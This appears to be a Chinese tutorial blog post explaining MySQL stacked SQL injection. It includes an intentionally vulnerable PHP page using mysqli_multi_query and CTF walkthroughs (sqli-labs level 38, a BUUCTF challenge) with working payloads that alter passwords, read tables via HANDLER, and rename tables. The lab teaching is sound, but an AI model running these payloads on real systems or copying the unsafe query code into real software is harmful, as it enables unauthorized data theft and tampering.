一、堆叠注入的原理
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句
比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束
select * from student;
如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁
select * from student;select current_user();
显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息,可以通过简单的流程图来了解过程
Created with Raphaël 2.3.0 web输入框 恶意sql(;show tables #) 是否存在堆叠注入 输出查出的表信息 构造其他恶意sql yes no
二、堆叠注入触发条件
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中
mysqli_multi_query()
函数,这个函数在支持同时执行多条sql语句,而与之对应的
mysqli_query()
函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于
mysqli_multi_query()
这样的函数,简单总结下来就是
- 目标存在sql注入漏洞
- 目标未对";"号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
可以做一个简单的实验,创建test.html和test.php两个文件内容分别为
- test.html
<html><head><title>学生ID查询</title><head><body><formmethod="get"action="index.php"><inputtype="text"placeholder="输入学生id查询成绩"><br><inputtype="submit"></form></body></html>
- index.php (页面写的有点着急不要介意哈!)
<?php$id=$_GET['id'];$con=mysqli_connect("localhost","root","123","test");if(mysqli_connect_errno($con)){echo"Failed to connect to MySQL: ".mysqli_connect_error();}mysqli_select_db($con,"test");$sql="SELECT * FROM student WHERE id='$id'";mysqli_multi_query($con,$sql);$result=mysqli_store_result($con);$row=mysqli_fetch_row($result);print_r($row);echo"<br>";echo"you sql: ".$sql.";";mysqli_close($con);?>
在mysql命令行中创建一个test数据库,再创建一个student表插入一些数据
create database test;use test;create table student( id int, name varchar(100), score varchar(100));insert into student(id,name,score) values(1,"toert","100"),(2,"giao","10");
先检查一下页面功能是否正常
直接构造堆叠注入去创建一张test表参照student表的数据
- ?id=1’;create table test like student;#
可以看到原来的sql语句经过堆叠注入恶意构造变成了SELECT * FROM student WHERE id=‘1’;create table test like student;
三、堆叠注入实战
0x1 sqli-labs38关卡
sqli-labs靶场包含了很多类型的sql注入环境,不知道怎么搭建的可以看上一篇的sql注入环境搭建
传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入
?id=1'
?id=1' or '1'='1
经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段,于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行
1' union select 1,2,3;update users set password=123 where id=1--+
然后再次查询id为1的用户时发现password信息已经被成功执行,说明目标存在堆叠注入,如果目标没有限制执行的sql语句,那就可以随心所欲的执行你想要执行的sql语句了!
?id=1
0x2 BUUCTF的一道堆叠注入题目
测试注入点发现GET型字符注入,
?inject=1' or '1'='1
order by爆破字段2
?inject=1' order by 3%23
配合union select发现过滤规则
?inject=1' union select 1,2%23
没有过滤分号,测试堆叠注入成功,查询当前数据库的表有
1919810931114514
、
words
两张表
?inject=1';show tables%23
接下来查询每张表中有哪些列明,继续使用堆叠注入配合show,发现191开头的表中存在flag关键字,这边需要注意一下的是因为这张表的名字为纯数字,在使用时需要通过"`"号括起来
- ?inject=-1’;show columns from
1919810931114514
%23
因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据,help查看用法如下
help handler
;
- handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
- handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
- handler 别名 close;(将这个句柄实例关闭)
了解handler的用法再配合堆叠注入拿到flag
?inject=1';handler
1919810931114514open as toert;handler toert read next%23
对于这道题目网上搜了一下还有一种做法,就是将1919810931114514表改成words表,然后使用alter table将1919810931114514表中的falg列名修改为words中的id列名,然后通过原本的查询将flag查询出来,具体payload如下
?id=1';rename table words to word;rename table
1919810931114514to words;alter table words change flag id varchar(100);show tables;
?id=1' or '1'='1
第二种通过修改表名字段的方式最好再用
alter table add
将1919810931114514表新增一个名为data列,这样就完美模拟了原来的words表结构,没有增加data列是因为目标原本的select语句应该是select * from words where id=’’,因为加了“*”所以什么都能查出来,如果语句为select id,data from words,那用原本的方法就没办法查出flag值了,因为找不到data列select语句会报错,针对这个情况可以做一个简单的实验
使用select查询固定列名信息
select id,name from student
当student表中没有name字段后再通过刚刚的语句就会报错
alter table drop name;
select id,name from student;
版权归原作者 Toert_T 所有, 如有侵权,请联系我们删除。